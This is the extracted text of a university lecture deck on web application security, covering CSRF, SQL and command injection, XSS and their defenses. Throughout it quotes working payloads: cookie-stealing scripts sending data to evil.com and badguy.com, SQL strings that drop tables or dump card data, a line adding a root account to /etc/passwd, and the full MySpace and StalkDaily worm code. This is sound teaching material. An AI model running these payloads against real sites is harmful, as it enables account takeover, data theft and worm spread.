CS 361 S Web Application Security Vitaly Shmatikov
CS 361 S Web Application Security Vitaly Shmatikov (most slides from the Stanford Web security group)
Reading Assignment u“Robust Defenses for Cross-Site Request Forgery” u“Advanced SQL Injection” u“Cross Site Scripting Explained” u“Postcards from the Post-XSS World” slide 2
Web Applications u. Big trend: software as a Web-based service • Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc. • Cloud computing u. Applications hosted on Web servers • Written in a mixture of PHP, Ruby, Java, Perl, ASP u. Security is rarely the main concern • Poorly written scripts with inadequate input validation • Sensitive data stored in world-readable files • Recent push from Visa and Mastercard to improve security of data management (PCI standard) slide 3
Top Web Vulnerabilities u. XSRF (CSRF) - cross-site request forgery • Bad website forces the user’s browser to send a request to a good website u. SQL injection • Malicious data sent to a website is interpreted as code in a query to the website’s back-end database u. XSS (CSS) – cross-site scripting • Malicious code injected into a trusted context (e. g. , malicious data presented by an honest website interpreted as code by the user’s browser) slide 4
Cookie-Based Authentication Redux Browser POST/login. cg i Server cator i t n e h t u a : Set-cookie GET… Cookie: authenticat or response slide 5
Browser Sandbox Redux u. Based on the same origin policy (SOP) u. Active content (scripts) can send anywhere! • Some ports inaccessible - e. g. , SMTP (email) u. Can only read response from the same origin slide 6
Cross-Site Request Forgery u. Users logs into bank. com, forgets to sign off • Session cookie remains in browser state u. User then visits a malicious website containing <form name=Bill. Pay. Form action=http: //bank. com/Bill. Pay. php> <input name=recipient value=badguy> … <script> document. Bill. Pay. Form. submit(); </script> u. Browser sends cookie, payment request fulfilled! u. Lesson: cookie authentication is not sufficient when side effects can happen slide 7
Sending a Cross-Domain POST <form method="POST" action="http: //othersite. com/file. cgi" encoding="text/plain"> <input type="hidden" name=“Hello world!nn 2¥+2¥" value=“ 4¥"> </form> <script>document. forms[0]. submit()</script> submit post u. Hidden iframe can do this in the background u. User visits a malicious page, browser submits form on behalf of the user • Hijack any ongoing session – Netflix: change account settings, Gmail: steal contacts • Reprogram the user’s home router • Many other attacks possible slide 8
Cookies in Forged Requests Cookie: Session. ID=523 FA 4 cd 2 E User credentials slide 9
XSRF (aka CSRF): Summary Server victim 1 4 User victim ion s s e s ish establ fo send est u q e r rged 2 v isit s erve 3 r rece ive mal iciou s pa g e Attack server Q: how long do you stay logged on to Gmail? Financial sites? slide 10
Remember Drive-By Pharming? ute o r e r nfigu co 1 r Home router st e u q e r rged fo d 4 sen 2 User 3 visit s receiv ite e mal icious page Bad website slide 11
XSRF True Story (1) [Alex Stamos] u User has a Java stock ticker from his broker’s website running in his browser • Ticker has a cookie to access user’s account on the site u A comment on a public message board on finance. yahoo. com points to “leaked news” • Tiny. URL redirects to cybervillians. com/news. html u User spends a minute reading a story, gets bored, leaves the news site u Gets his monthly statement from the broker - $5, 000 transferred out of his account! slide 12
XSRF True Story (2) [Alex Stamos] Hidden iframes submitted forms that… • Changed user’s email notification settings • Linked a new checking account • Transferred out $5, 000 • Unlinked the account • Restored email notifications slide 13
XSRF Defenses u. Secret validation token <input type=hidden value=23 a 3 af 01 b> u. Referer validation Referer: http: //www. facebook. com/home. php u. Custom HTTP header X-Requested-By: XMLHttp. Request slide 14
Add Secret Token to Forms <input type=hidden value=23 a 3 af 01 b> u. Hash of user ID • Can be forged by attacker u. Session ID • If attacker has access to HTML or URL of the page (how? ), can learn session ID and hijack the session u. Session-independent nonce – Trac • Can be overwritten by subdomains, network attackers u. Need to bind session ID to the token (how? ) • CSRFx, CSRFGuard - manage state table at the server • Keyed HMAC of session ID – no extra state! slide 15
Secret Token: Example slide 16
Referer Validation Referer: http: //www. facebook. com/home. php Referer: http: //www. evil. com/attack. html ? Referer: u. Lenient referer checking – header is optional u. Strict referer checking – header is required slide 17
Why Not Always Strict Checking? u. Why might the referer header be suppressed? • Stripped by the organization’s network filter – For example, http: //intranet. corp. apple. com/ projects/iphone/competitors. html • • Stripped by the local machine Stripped by the browser for HTTPS HTTP transitions User preference in browser Buggy browser u. Web applications can’t afford to block these users u. Referer rarely suppressed over HTTPS • Logins typically use HTTPS – helps against login XSRF! slide 18
XSRF with Lenient Referer Checking http: //www. attacker. com redirects to common browsers don’t send referer header ftp: //www. attacker. com/index. html javascript: "<script> /* XSRF */ </script>" data: text/html, <script> /* XSRF */ </script> slide 19
Custom Header u. XMLHttp. Request is for same-origin requests • Browser prevents sites from sending custom HTTP headers to other sites, but can send to themselves • Can use set. Request. Header within origin u. Limitations on data export • No set. Request. Header equivalent • XHR 2 has a whitelist for cross-site requests u. POST requests via AJAX X-Requested-By: XMLHttp. Request u. No secrets required slide 20
Broader View of XSRF u. Abuse of cross-site data export • SOP does not control data export • Malicious webpage can initiates requests from the user’s browser to an honest server • Server thinks requests are part of the established session between the browser and the server u. Many reasons for XSRF attacks, not just “session riding” slide 21
Login XSRF slide 22
Referer Header Helps, Right? slide 23
Laundering Referer Header referer: http: //www. site. A. com site. B referer: ? ? ? (browser-dependent) slide 24
XSRF Recommendations u. Login XSRF • Strict referer validation • Login forms typically submitted over HTTPS, referer header not suppressed u. HTTPS sites, such as banking sites • Strict referer validation u. Other sites • Use Ruby-on-Rails or other framework that implements secret token method correctly slide 25
Other Identity Misbinding Attacks u. User’s browser logs into website, but site associates session with the attacker • Capture user’s private information (Web searches, sent email, etc. ) • Present user with malicious content u. Many examples • Login XSRF is one example of this • Open. ID • PHP cookieless authentication slide 26
Open. ID slide 27
PHP Cookieless Authentication slide 28
Server Side of Web Application u. Runs on a Web server (application server) u. Takes input from remote users via Web server u. Interacts with back-end databases and other servers providing third-party content u. Prepares and outputs results for users • Dynamically generated HTML pages • Content from many different sources, often including users themselves – Blogs, social networks, photo-sharing websites… slide 29
Dynamic Web Application Browser GET / HTTP/1. 0 HTTP/1. 1 200 OK Web server index. php Database server slide 30
PHP: Hypertext Preprocessor u. Server scripting language with C-like syntax u. Can intermingle static HTML and code <input value=<? php echo $myvalue; ? >> u. Can embed variables in double-quote strings $user = “world”; echo “Hello $user!”; or $user = “world”; echo “Hello”. $user. “!”; u. Form data in global arrays $_GET, $_POST, … slide 31
Command Injection in PHP u. Server-side PHP calculator: $in = $_GET[‘val']; eval('$op 1 = '. $in. '; '); Supplied by the user! u. Good user calls http: //victim. com/calc. php? val=5 URL-encoded u. Bad user calls http: //victim. com/calc. php? val=5 ; system('rm *. *') ucalc. php executes eval(‘$op 1 = 5; system('rm *. *'); slide 32
More Command Injection in PHP u. Typical PHP server-side code for sending email $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”) u. Attacker posts OR http: //yourdomain. com/mail. pl? email=hacker@hackerhome. net& subject=foo < /usr/passwd; ls http: //yourdomain. com/mail. pl? email=hacker@hackerhome. net&subject=foo; echo “evil: : 0: 0: root: /: /bin/sh">>/etc/passwd; ls slide 33
SQL u. Widely used database query language u. Fetch a set of records SELECT * FROM Person WHERE Username=‘Vitaly’ u. Add data to the table INSERT INTO Key (Username, Key) VALUES (‘Vitaly’, 3611 BBFF) u. Modify data UPDATE Keys SET Key=FA 33452 D WHERE Person. ID=5 u. Query syntax (mostly) independent of vendor slide 34
Typical Query Generation Code $selecteduser = $_GET['user']; $sql = "SELECT Username, Key FROM Key ". "WHERE Username='$selecteduser'"; $rs = $db->execute. Query($sql); u. What if ‘user’ is a malicious string that changes the meaning of the query? slide 35
Typical Login Prompt slide 36
User Input Becomes Part of Query Web browser (Client) Enter Username & Password Web server SELECT passwd FROM USERS WHERE uname IS ‘$user’ DB slide 37
Normal Login Web browser (Client) Enter Username & Password Web server SELECT passwd FROM USERS WHERE uname IS ‘smith’ DB slide 38
Malicious User Input slide 39
SQL Injection Attack Web browser (Client) Enter Username & Password Web server SELECT passwd FROM USERS WHERE uname IS ‘’; DROP TABLE USERS; -- ’ DB Eliminates all user accounts slide 40
Exploits of a Mom http: //xkcd. com/327/ slide 41
SQL Injection: Basic Idea Victim server Attacker 1 post form s u o i c mali 2 3 receive data from DB unintended query u This is an input validation vulnerability • Unsanitized user input in SQL query to back- end database changes the meaning of query u Special case of command injection Victim SQL DB slide 42
Authentication with Back-End DB uset User. Found=execute( “SELECT * FROM User. Table WHERE username=‘ ” & form(“user”) & “ ′ AND password= ‘ ” & form(“pwd”) & “ ′ ” ); User supplies username and password, this SQL query checks if user/password combination is in the database u. If not User. Found. EOF Authentication correct else Fail Only true if the result of SQL query is not empty, i. e. , user/pwd is in the database slide 43
Using SQL Injection to Log In u. User gives username ′ OR 1=1 -u. Web server executes query set User. Found=execute( SELECT * FROM User. Table WHERE username=‘’ OR 1=1 -- … ); Always true! Everything after -- is ignored! u. Now all records match the query, so the result is not empty correct “authentication”! slide 44
Another SQL Injection Example [From “The Art of Intrusion”] u. To authenticate logins, server runs this SQL command against the user database: SELECT * WHERE user=‘name’ AND pwd=‘passwd’ u. User enters ’ OR WHERE pwd LIKE ‘% as both name and passwd Wildcard matches any password u. Server executes SELECT * WHERE user=‘’ OR WHERE pwd LIKE ‘%’ AND pwd=‘’ OR WHERE pwd LIKE ‘%’ u. Logs in with the credentials of the first person in the database (typically, administrator!) slide 45
It Gets Better u. User gives username ′ exec cmdshell ‘net user badguy badpwd’ / ADD -u. Web server executes query set User. Found=execute( SELECT * FROM User. Table WHERE username= ‘’ exec … -- … ); u. Creates an account for badguy on DB server slide 46
Pull Data From Other Databases u. User gives username ’ AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards u. Results of two queries are combined u. Empty table from the first query is displayed together with the entire contents of the credit card database slide 47
More SQL Injection Attacks u. Create new users ’; INSERT INTO USERS (‘uname’, ‘passwd’, ‘salt’) VALUES (‘hacker’, ‘ 38 a 74 f’, 3234); u. Reset password ’; UPDATE USERS SET email=hcker@root. org WHERE email=victim@yahoo. com slide 48
Uninitialized Inputs Creates a password with 8 /* php-files/lostpassword. php */ random characters, assuming $new_pass is set to NULL for ($i=0; $i<=7; $i++) $new_pass. = chr(rand(97, 122)) … $result = dbquery(“UPDATE ”. $db_prefix. “users SET user_password=md 5(‘$new_pass’) WHERE user_id=‘”. $data[‘user_id’]. “ ’ ”); SQL query setting password in the DB In normal execution, this becomes UPDATE users SET user_password=md 5(‘? ? ? ? ’) WHERE user_id=‘userid’ slide 49
Exploit Only works against older versions of PHP User appends this to the URL: &new_pass=bad. Pwd%27%29%2 c user_level=%27103%27%2 cuser_aim=%28%27 This sets $new_pass to bad. Pwd’), user_level=‘ 103’, user_aim=(‘ SQL query becomes UPDATE users SET user_password=md 5(‘bad. Pwd’), user_level=‘ 103’, user_aim=(‘? ? ? ? ’) WHERE user_id=‘userid’ User’s password is … with superuser privileges set to ‘bad. Pwd’ slide 50
Second-Order SQL Injection u. Data stored in the database can be later used to conduct SQL injection u. For example, user manages to set uname to admin’ - • This vulnerability could exist if input validation and escaping are applied inconsistently – Some Web applications only validate inputs coming from the Web server but not inputs coming from the back-end DB • UPDATE USERS SET passwd=‘cracked’ WHERE uname=‘admin’ --’ u. Solution: treat all parameters as dangerous slide 51
Card. Systems Attack (June 2005) u. Card. Systems was a major credit card processing company u. Put of business by a SQL injection attack • Credit card numbers stored unencrypted • Data on 263, 000 accounts stolen • 43 million identities exposed slide 52
SQL Injection in the Real World http: //www. ireport. com/docs/DOC-11831 u. Oklahoma Department of Corrections divulges thousands of social security numbers (2008) • Sexual and Violent Offender Registry for Oklahoma • Data repository lists both offenders and employees u“Anyone with a web browser and the knowledge from Chapter One of SQL for Dummies could have easily accessed – and possibly, changed – any data within the DOC's databases" 36 -20 slide 53
Attack on Microsoft IIS (April 2008) slide 54
Main Steps in April 2008 Attack u. Use Google to find sites using a particular ASP style vulnerable to SQL injection u. Use SQL injection to modify the pages to include a link to a Chinese site nihaorr 1. com • Do not visit that site – it serves Java. Script that exploits vulnerabilities in IE, Real. Player, QQ Instant Messenger u. Attack used automatic tool; can be configured to inject whatever you like into vulnerable sites u. There is some evidence that hackers may have gotten paid for each victim’s visit to nihaorr 1. com slide 55
Part of the SQL Attack String DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor CURSOR FOR select a. name, b. name from sysobjects a, syscolumns b where a. id=b. id and a. xtype='u' and (b. xtype=99 or b. xtype=35 or b. xtype=231 or b. xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar, ['+@C+']))+'‘ ''') FETCH NEXT FROM Table_Cursor INTO @T, @C END CLOSE Table_Cursor DEALLOCATE Table_Cursor; DECLARE%20@S%20 NVARCHAR(4000); SET%20@S=CAST( %20 AS%20 NVARCHAR(4000)); EXEC(@S); -- slide 56
Preventing SQL Injection u. Validate all inputs • Filter out any character that has special meaning – Apostrophes, semicolons, percent symbols, hyphens, underscores, … • Check the data type (e. g. , input must be an integer) u. Whitelist permitted characters • Blacklisting “bad” characters doesn’t work – Forget to filter out some characters – Could prevent valid input (e. g. , last name O’Brien) • Allow only well-defined set of safe values – Set implicitly defined through regular expressions slide 57
Escaping Quotes u. Special characters such as ’ provide distinction between data and code in queries u. For valid string inputs containing quotes, use escape characters to prevent the quotes from becoming part of the query code u. Different databases have different rules for escaping • Example: escape(o’connor) = o’connor or escape(o’connor) = o’’connor slide 58
Prepared Statements u. In most injection attacks, data are interpreted as code – this changes the semantics of a query or command generated by the application u. Bind variables: placeholders guaranteed to be data (not code) u. Prepared statements allow creation of static queries with bind variables; this preserves the structure of the intended query slide 59
Prepared Statement: Example http: //java. sun. com/docs/books/tutorial/jdbc/basics/prepared. html Prepared. Statement ps = db. prepare. Statement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=? "); ps. set. Int(1, session. get. Current. User. Id()); ps. set. Int(2, Integer. parse. Int(request. get. Paramenter("month"))); Result. Set res = ps. execute. Query(); Bind variable (data placeholder) u Query is parsed without data parameters u Bind variables are typed (int, string, …) u But beware of second-order SQL injection… slide 60
Parameterized SQL in ASP. NET u. Builds SQL queries by properly escaping args • Replaces ′ with ′ Sql. Command cmd = new Sql. Command( “SELECT * FROM User. Table WHERE username = @User AND password = @Pwd”, db. Connection); cmd. Parameters. Add(“@User”, Request[“user”] ); cmd. Parameters. Add(“@Pwd”, Request[“pwd”] ); cmd. Execute. Reader(); slide 61
More Bad Input Validation [From “The Art of Intrusion”] u. Web form for traceroute doesn’t check for “&” type <IP addr> & <any shell command> u. PHF (phonebook) CGI script does not check input for newline execute any shell command • Open xterm to attacker’s X server, display pwd file • Use it to show directory contents, learn that Apache is running as “nobody”, change config file so that it runs as “root” next time, break in after a blackout u. Perl script doesn’t check for backticks steal mailing list from a porn site for spamming slide 62
Echoing / “Reflecting” User Input Classic mistake in server-side applications http: //naive. com/search. php? term=“Britney Spears” search. php responds with <html> <title>Search results</title> <body>You have searched for <? php echo $_GET[term] ? >… </body> Or GET/ hello. cgi? name=Bob hello. cgi responds with <html>Welcome, dear Bob</html> slide 63
Cross-Site Scripting (XSS) evil. com How about this one? What is the ORIGIN of this script? naive. com hello. cgi Access some web page <iframe src= http: //naive. com/hello. cgi? name=<script>win. open( “http: //evil. com/steal. cgi? cookie=”+document. cookie) </script>> GET/ hello. cgi? name= <script>win. open(“http: // evil. com/steal. cgi? cookie=”+ document. cookie)</script> Forces victim’s browser to call hello. cgi on naive. com with this script as “name” GET/ steal. cgi? cookie= Why does the browser allow this? victim’s browser hello. cgi executed <HTML>Hello, dear <script>win. open(“http: // evil. com/steal. cgi? cookie=” +document. cookie)</script> Welcome!</HTML> Interpreted as Java. Script by victim’s browser; opens window and calls steal. cgi on evil. com slide 64
Reflected XSS u. User is tricked into visiting an honest website • Phishing email, link in a banner ad, comment in a blog u. Bug in website code causes it to echo to the user’s browser an arbitrary attack script • The origin of this script is now the website itself! u. Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites • This violates the “spirit” of the same origin policy slide 65
Basic Pattern for Reflected XSS site web visit 1 Attack server age p s u licio a m e iv ta 2 rece a d e l aluab v d n 5 se User victim 4 3 echo click use on l ink Server victim r inp ut slide 66
Adobe PDF Viewer (before version 7. 9) u. PDF documents execute Java. Script code http: //path/to/pdf/file. pdf#whatever_name_you_want= javascript: code_here u. The “origin” of this injected code is the domain where PDF file is hosted slide 67
XSS Against PDF Viewer u. Attacker locates a PDF file hosted on site. com u. Attacker creates a URL pointing to the PDF, with Java. Script malware in the fragment portion http: //site. com/path/to/file. pdf#s=javascript: malcode u. Attacker entices a victim to click on the link u. If the victim has Adobe Acrobat Reader Plugin 7. 0. x or less, malware executes • Its “origin” is site. com, so it can change content, steal cookies from site. com slide 68
Not Scary Enough? u. PDF files on the local filesystem: file: ///C: /Program%20 Files/Adobe/Acrobat%207. 0/Reso urce/ENUtxt. pdf#blah=javascript: alert("XSS"); Java. Script malware now runs in local context with the ability to read and write local files. . . slide 69
Where Malicious Scripts Lurk u. User-created content • Social sites, blogs, forums, wikis u. When visitor loads the page, website displays the content and visitor’s browser executes the script • Many sites try to filter out scripts from user content, but this is difficult! slide 70
Stored XSS Attack server da e l b a u val al e t s 4 ta 1 User victim 2 re que st co 3 re nten ceiv t e m alici ous scrip t Users view or download content Inject malicious script Store bad stuff Server victim slide 71
XSS in Orkut http: //antrix. net/journal/techtalk/orkut_xss. html u. Orkut: Google’s social network Example of XSS exploit code • 37 million members (2006), very popular in Brazil u. Bug allowed users to put scripts in their profiles… when user views infected profile, script grabs cookie, transfers all user-owned groups to attacker u. Another Orkut virus: attack script in a Flash file • Virus adds malicious Flash as a “scrap” to the user’s profile; everybody who views that profile is infected, too – Exponential propagation! Similar to “wall post” in Facebook • Every viewer of infected profile is joined to a community – “Infectatos pelo Virus do Orkut” (655, 000 members at peak! slide 72
Twitter Worm (2009) http: //dcortesi. com/2009/04/11/twitter-stalkdaily-worm-postmortem/ u. Can save URL-encoded data into Twitter profile u. Data not escaped when profile is displayed u. Result: Stalk. Daily XSS exploit • If view an infected profile, script infects your own profile var update = urlencode("Hey everyone, join www. Stalk. Daily. com. It's a site like Twitter but with pictures, videos, and so much more! "); var xss = urlencode('http: //www. stalkdaily. com"></a><script src="http: //mikeyylolz. uuuq. com/x. js"></script><a '); var ajax. Conn = new XHConn(); ajax. Conn. connect(“/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update"); ajax. Conn 1. connect(“/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update") slide 73
XSS in the Wild http: //xssed. com/archive slide 74
Stored XSS Using Images u. Suppose pic. jpg on web server contains HTML • Request for http: //site. com/pic. jpg results in: HTTP/1. 1 200 OK … Content-Type: image/jpeg <html> fooled ya </html> • IE will render this as HTML (despite Content-Type) u. Photo-sharing sites • What if attacker uploads an “image” that is a script? slide 75
XSS of the Third Kind Attack code does not appear in HTML sent over network u. Script builds webpage DOM in the browser <HTML><TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos = document. URL. index. Of("name=") + 5; document. write(document. URL. substring(pos, document. URL. length)); </SCRIPT> </HTML> u. Works fine with this URL • http: //www. example. com/welcome. html? name=Joe u. But what about this one? • http: //www. example. com/welcome. html? name= <script>alert(document. cookie)</script> slide 76
Using Login XSRF for XSS slide 77
Web 2. 0 [Alex Stamos] Malicious scripts may be … • Contained in arguments of dynamically created Java. Script • Contained in Java. Script arrays • Dynamically written into the DOM slide 78
XSS in AJAX (1) [Alex Stamos] u. Downstream Java. Script arrays var downstream. Array = new Array(); downstream. Array[0] = “ 42"; do. Bad. Stuff(); var bar=“ajacked"; u. Won’t be detected by a naïve filter • No <>, “script”, onmouseover, etc. u. Just need to break out of double quotes slide 79
XSS in AJAX (2) [Alex Stamos] u. JSON written into DOM by client-side script var inbound. JSON = {"people": [ {"name": "Joel", "address": “<script>bad. Stuff(); </script>", "phone": "911"} ] }; some. Object. inner. HTML(inbound. JSON. people[0]. address); // Vulnerable document. write(inbound. JSON. people[0]. address); // Vulnerable some. Object. inner. Text(inbound. JSON. people[0]. address); // Safe u. XSS may be already in DOM! • document. url, document. location, document. referer slide 80
Backend AJAX Requests [Alex Stamos] u“Backend” AJAX requests • Client-side script retrieves data from the server using XMLHttp. Request, uses it to build webpage in browser • This data is meant to be converted into HTML by the script, never intended to be seen directly in the browser u. Example: Web. Mail. com Request: GET http: //www. webmail. com/mymail/getnewmessages. aspx Raw data, intended to be converted into HTML Response: inside the browser by the client-side script var message. Array = new Array(); message. Array[0] = “This is an email subject”; slide 81
XSS in AJAX (3) [Alex Stamos] u. Attacker sends the victim an email with a script: • Email is parsed from the data array, written into HTML with inner. Text(), displayed harmlessly in the browser u. Attacker sends the victim an email with a link to backend request and the victim clicks the link: The browser will issue this request: GET http: //www. webmail. com/mymail/getnewmessages. aspx … and display this text: var message. Array = new Array(); message. Array[0] = “<script>var i = new Image(); i. src=‘http: //badguy. com/’ + document. cookie; </script>” slide 82
How to Protect Yourself Source: Open Web Application Security Project u Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields against a rigorous specification of what should be allowed. u Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content. u We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete. slide 83
What Does This Script Do? slide 84
Preventing Cross-Site Scripting u. Any user input and client-side data must be preprocessed before it is used inside HTML u. Remove / encode (X)HTML special characters • Use a good escaping library – OWASP ESAPI (Enterprise Security API) – Microsoft’s Anti. XSS • In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes – ‘ becomes ' “ becomes " & becomes & • In ASP. NET, Server. Html. Encode(string) slide 85
Evading XSS Filters u. Preventing injection of scripts into HTML is hard! • Blocking “<” and “>” is not enough • Event handlers, stylesheets, encoded inputs (%3 C), etc. • php. BB allowed simple HTML tags like <b> <b c=“>” onmouseover=“script” x=“<b ”>Hello<b> u. Beware of filter evasion tricks (XSS Cheat Sheet) • If filter allows quoting (of <script>, etc. ), beware of malformed quoting: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> • Long UTF-8 encoding • Scripts are not only in <script>: <iframe src=`https: //bank. com/login’ onload=`steal()’> slide 86
My. Space Worm (1) http: //namb. la/popular/tech. html u. Users can post HTML on their My. Space pages u. My. Space does not allow scripts in users’ HTML • No <script>, <body>, onclick, <a href=javascript: //> u… but does allow <div> tags for CSS. K 00 L! • <div style=“background: url(‘javascript: alert(1)’)”> u. But My. Space will strip out “javascript” • Use “java<NEWLINE>script” instead u. But My. Space will strip out quotes • Convert from decimal instead: alert('double quote: ' + String. from. Char. Code(34)) slide 87
My. Space Worm (2) http: //namb. la/popular/tech. html u “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of. . interest. It was interesting and fun!” u. Started on Samy Kamkar’s My. Space page, everybody who visited an infected page became infected and added “samy” as a friend and hero • “samy” was adding 1, 000 friends per second at peak • 5 hours later: 1, 005, 831 friends slide 88
Code of the My. Space Worm http: //namb. la/popular/tech. html <div id=mycode style="BACKGROUND: url('java script: eval(document. all. mycode. expr)')" expr="var B=String. from. Char. Code(34); var A=String. from. Char. Code(39); function g(){var C; try{var D=document. body. create. Text. Range(); C=D. html. Text}catch(e){}if(C){return C}else{return eval('document. body. inne'+'r. HTML')}}function get. Data(AU) {M=get. From. URL(AU, 'friend. ID'); L=get. From. URL(AU, 'Mytoken')}function get. Query. Params(){var E=document. location. search; var F=E. substring(1, E. length). split('&'); var AS=new Array(); for(var O=0; O<F. length; O++){var I=F[O]. split('='); AS[I[0]]=I[1]}return AS}var J; var AS=get. Query. Params(); var L=AS['Mytoken']; var M=AS['friend. ID']; if(location. hostname=='profile. myspace. com'){document. location='http: // www. myspace. com'+location. pathname+location. search}else{if(!M){get. Data(g())}main()}function get. Client. FID(){return find. In(g(), 'up_launch. IC( '+A, A)} function nothing(){}function params. To. String(AV){var N=new String(); var O=0; for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]); while(Q. index. Of('+')! =-1){Q=Q. replace('+', '%2 B')}while(Q. index. Of('&')!=-1){Q=Q. replace('&', '%26')}N+=P+'='+Q; O++}return N}function http. Send(BH, BI, BJ, BK){if(!J){return false}eval('J. onr'+'eadystatechange=BI'); J. open(BJ, BH, true); if(BJ=='POST'){J. set. Request. Header('Content-Type', 'application/x-www-formurlencoded'); J. set. Request. Header('Content-Length', BK. length)}J. send(BK); return true}function find. In(BF, BB, BC){var R=BF. index. Of(BB)+BB. length; var S=BF. substring(R, R+1024); return S. substring(0, S. index. Of(BC))}function get. Hidden. Parameter(BF, BG){return find. In(BF, 'name='+B+BG+B+' value='+B, B)} function get. From. URL(BF, BG){var T; if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'='; var V=BF. index. Of(U)+U. length; var W=BF. substring(V, V+1024); var X=W. index. Of(T); var Y=W. substring(0, X); return Y}function get. XMLObj(){var Z=false; if(window. XMLHttp. Request){try{Z=new XMLHttp. Request()}catch(e) {Z=false}}else if(window. Active. XObject){try{Z=new Active. XObject('Msxml 2. XMLHTTP')}catch(e){try{Z=new Active. XObject('Microsoft. XMLHTTP')} catch(e){Z=false}}}return Z}var AA=g(); var AB=AA. index. Of('m'+'ycode'); var AC=AA. substring(AB, AB+4096); var AD=AC. index. Of('D'+'IV'); var AE=AC. substring(0, AD); var AF; if(AE){AE=AE. replace('jav'+'a', A+'jav'+'a'); AE=AE. replace('exp'+'r)', 'exp'+'r)'+A); AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG; function get. Home(){if(J. ready. State!=4){return}var AU=J. response. Text; AG=find. In(AU, 'P'+'rofile. Heroes', '</ td>'); AG=AG. substring(61, AG. length); if(AG. index. Of('samy')==-1){if(AF){AG+=AF; var AR=get. From. URL(AU, 'Mytoken'); var AS=new Array(); AS['interest. Label']='heroes'; AS['submit']='Preview'; AS['interest']=AG; J=get. XMLObj(); http. Send('/index. cfm? fuseaction=profile. preview. Interests&Mytoken='+AR, post. Hero, 'POST', params. To. String(AS))}}}function post. Hero(){if(J. ready. State!=4){return}var AU=J. response. Text; var AR=get. From. URL(AU, 'Mytoken'); var AS=new Array(); AS['interest. Label']='heroes'; AS['submit']='Submit'; AS['interest']=AG; AS['hash']=get. Hidden. Parameter(AU, 'hash'); http. Send('/index. cfm? fuseaction=profile. process. Interests&Mytoken='+AR, nothing, 'POST', params. To. String(AS))}function main(){var AN=get. Client. FID(); var BH='/index. cfm? fuseaction=user. view. Profile&friend. ID='+AN+'&Mytoken='+L; J=get. XMLObj(); http. Send(BH, get. Home, 'GET'); xmlhttp 2=get. XMLObj(); http. Send 2('/index. cfm? fuseaction=invite. addfriend_verify&friend. ID=11851658&Mytoken='+L, processx. Form, 'GET')}function processx. Form(){if(xmlhttp 2. ready. State!=4){return}var AU=xmlhttp 2. response. Text; var AQ=get. Hidden. Parameter(AU, 'hashcode'); var AR=get. From. URL(AU, 'Mytoken'); var AS=new Array(); AS['hashcode']=AQ; AS['friend. ID']='11851658'; AS['submit']='Add to Friends'; http. Send 2('/index. cfm? fuseaction=invite. add. Friends. Process&Mytoken='+AR, nothing, 'POST', params. To. String(AS))}function http. Send 2(BH, BI, BJ, BK){if(!xmlhttp 2){return false} eval('xmlhttp 2. onr'+'eadystatechange=BI'); xmlhttp 2. open(BJ, BH, true); if(BJ=='POST'){xmlhttp 2. set. Request. Header('Content-Type', 'application/x-wwwformurlencoded'); xmlhttp 2. set. Request. Header('Content-Length', BK. length)}xmlhttp 2. send(BK); return true}"></DIV> slide 89
31 Flavors of XSS Source: XSS Filter Evasion Cheat Sheet u <BODY ONLOAD=alert('XSS')> u ¼script¾alert(¢XSS¢)¼/script¾ u <XML ID="xss"><I><B>< IMG SRC="javas<!-- ->cript: alert('XSS')"> </B></I></XML> u <STYLE>BODY{-moz-binding: url("http: //ha. ckers. org/xssmoz. xml#xss")}</STYLE> u <SPAN DATASRC="#xss" DATAFLD="B" <DIV STYLE="backgroundimage: 075 072 06 C 028'